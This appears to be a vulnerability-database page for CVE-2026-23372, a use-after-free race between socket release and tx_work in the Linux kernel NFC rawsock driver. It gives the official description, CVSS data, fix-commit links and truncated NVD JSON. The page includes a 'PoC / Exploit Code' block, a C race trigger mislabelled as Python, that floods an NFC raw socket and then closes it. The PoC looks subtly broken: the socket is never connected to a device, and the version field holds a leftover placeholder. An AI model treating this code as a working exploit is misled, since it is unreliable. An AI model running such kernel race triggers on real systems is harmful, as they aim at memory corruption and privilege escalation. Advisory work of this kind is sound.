CVE-2026-23372

Description

In the Linux kernel, the following vulnerability has been resolved: nfc: rawsock: cancel tx_work before socket teardown In rawsock_release(), cancel any pending tx_work and purge the write queue before orphaning the socket. rawsock_tx_work runs on the system workqueue and calls nfc_data_exchange which dereferences the NCI device. Without synchronization, tx_work can race with socket and device teardown when a process is killed (e.g. by SIGKILL), leading to use-after-free or leaked references. Set SEND_SHUTDOWN first so that if tx_work is already running it will see the flag and skip transmitting, then use cancel_work_sync to wait for any in-progress execution to finish, and finally purge any remaining queued skbs.

CVSS Details

CVSS Score

7.8

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:* - VULNERABLE

Linux Kernel < 修复版本

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

/*
 * PoC for CVE-2026-23372: Race condition in nfc: rawsock
 * This attempts to trigger the UAF by racing socket release with tx_work.
 * Compile: gcc -o poc_cve2026_23372 poc_cve2026_23372.c -lpthread
 */
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <pthread.h>
#include <sys/socket.h>
#include <linux/nfc.h>

#define NFC_SOCKPROTO_RAW 1

void *trigger_tx_work(void *arg) {
    int sock = *(int *)arg;
    char buffer[1024];
    // Continuously writing to queue tx_work
    while (1) {
        send(sock, buffer, sizeof(buffer), 0);
    }
    return NULL;
}

int main() {
    int sock;
    pthread_t tid;

    // Create NFC raw socket
    sock = socket(AF_NFC, SOCK_RAW, NFC_SOCKPROTO_RAW);
    if (sock < 0) {
        perror("socket");
        return 1;
    }

    printf("Starting PoC for CVE-2026-23372...\n");

    // Start thread to flood the socket and schedule tx_work
    pthread_create(&tid, NULL, trigger_tx_work, &sock);

    // Wait briefly then kill self or close socket to trigger race
    // Adjusting this timing may be necessary to hit the race condition
    usleep(50000); 

    // Simulate process kill or aggressive close
    // In a real exploit, precise synchronization is critical
    close(sock);

    return 0;
}

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-23372
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-23372
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-23372/
[4] VulDB https://vuldb.com/cve/CVE-2026-23372
[5] https://git.kernel.org/stable/c/3ae592ed91bb4b6b51df256b51045c13d2656049
[6] https://git.kernel.org/stable/c/722a28b635ec281bb08a23885223526d8e7d6526
[7] https://git.kernel.org/stable/c/78141b8832e16d80d09cbefb4258612db0777a24
[8] https://git.kernel.org/stable/c/9b2d23cd09e1cb56bdf0e4d5614703094159f16c
[9] https://git.kernel.org/stable/c/cdeed45ce8c92defd057f7d67ee9a69374d8fa16
[10] https://git.kernel.org/stable/c/d793458c45df2aed498d7f74145eab7ee22d25aa
[11] https://git.kernel.org/stable/c/da4515fc8263c5933ed605e396af91079806dc45
[12] https://git.kernel.org/stable/c/edc988613def90c5b558e025b1b423f48007be06

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-23372", "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "published": "2026-03-25T11:16:36.780", "lastModified": "2026-04-24T16:36:05.093", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nnfc: rawsock: cancel tx_work before socket teardown\n\nIn rawsock_release(), cancel any pending tx_work and purge the write\nqueue before orphaning the socket. rawsock_tx_work runs on the system\nworkqueue and calls nfc_data_exchange which dereferences the NCI\ndevice. Without synchronization, tx_work can race with socket and\ndevice teardown when a process is killed (e.g. by SIGKILL), leading\nto use-after-free or leaked references.\n\nSet SEND_SHUTDOWN first so that if tx_work is already running it will\nsee the flag and skip transmitting, then use cancel_work_sync to wait\nfor any in-progress execution to finish, and finally purge any\nremaining queued skbs."}, {"lang": "es", "value": "En el kernel de Linux, la siguiente vulnerabilidad ha sido resuelta:\n\nnfc: rawsock: cancelar tx_work antes del desmontaje del socket\n\nEn rawsock_release(), cancelar cualquier tx_work pendiente y purgar la cola de escritura antes de dejar huérfano el socket. rawsock_tx_work se ejecuta en la cola de trabajo del sistema y llama a nfc_data_exchange, que desreferencia el dispositivo NCI. Sin sincronización, tx_work puede competir con el desmontaje del socket y del dispositivo cuando un proceso es terminado (p. ej., por SIGKILL), lo que lleva a uso después de liberación o referencias filtradas.\n\nEstablecer SEND_SHUTDOWN primero para que si tx_work ya se está ejecutando, vea la bandera y omita la transmisión, luego usar cancel_work_sync para esperar a que finalice cualquier ejecución en curso, y finalmente purgar cualquier skbs en cola restante."}], "metrics": {"cvssMetricV31": [{"source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "NVD-CWE-noinfo"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "3.1.1", "versionEndExcluding": "5.10.253", "matchCriteriaId": "4333338A-C6E8-4E3E-B55E-4B83879A9E8E"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.11", "versionEndExcluding": "5.15.203", "matchCriteriaId": "20DDB3E9-AABF-4107-ADB0-5362AA067045"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.16", "versionEndExcluding": "6.1.167", "matchCriteriaId": "2EDC6BAF-B710-4E26-B6AA-D68922EE7B43"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.2", "versionEndExcluding": "6.6.130", "matchCriteriaId": "C57BB918-DF28-46B3-94F7-144176841267"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.7", "versionEndExcluding": "6.12.77", "matchCriteriaId": "B3D12E00-E42D-4056-B354-BAD4903C03A5"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.13", "versionEndExcluding": "6.18.17", "matchCriteriaId": "A5E006E4-59C7-43C1-9231-62A72219F2BA"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.19", "versionEndExcluding": "6.19.7", "matchCriteriaId": "69245D10-0B71-485E-80C3-A64F077004D3"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:3.1:-:*:*:*:*:*:*", "matchCriteriaId": "98093688-6D93-4911-8D48-AC4A4619BCED"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc1:*:*:*:*:*:*", "matchCriteriaId": "F253B622-8837-4245-BCE5-A7BF8FC76A16"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc2:*:*:*:*:*:*", "matchCriteriaId": "4AE85AD8-4641-4E7C-A2F4-305E2CD9EE64"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc3:*:*:*:*:*:*", "matchCriteriaId": "F666C8D8-6538-46D4-B318-87610DE64C34"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc4:*:*:*:*:*:*", "matchCriteriaId": "02259FDA-961B-47BC-AE7F-93D7EC6E90C2"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc5:*:*:*:*:*:*", "matchCriteriaId": "58A9FEFF-C040-420D-8F0A-BFDAAA1DF258"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc6:* ... (truncated)